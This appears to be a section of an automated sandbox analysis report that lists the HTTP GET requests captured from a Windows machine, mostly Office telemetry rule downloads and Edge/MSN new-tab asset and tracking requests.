Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1730308002026&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=afd58c2af93748d98c213ba21956ddf0&activityId=afd58c2af93748d98c213ba21956ddf0&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=4396C62932074923A9491A528DC91D11&MUID=3A3C51D39FB2654125F844FB9EBA64FA HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=3A3C51D39FB2654125F844FB9EBA64FA; _EDGE_S=F=1&SID=2A8DC74E113061F6196AD266109060AB; _EDGE_V=1; _C_ETH=1; msnup=; SM=T
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
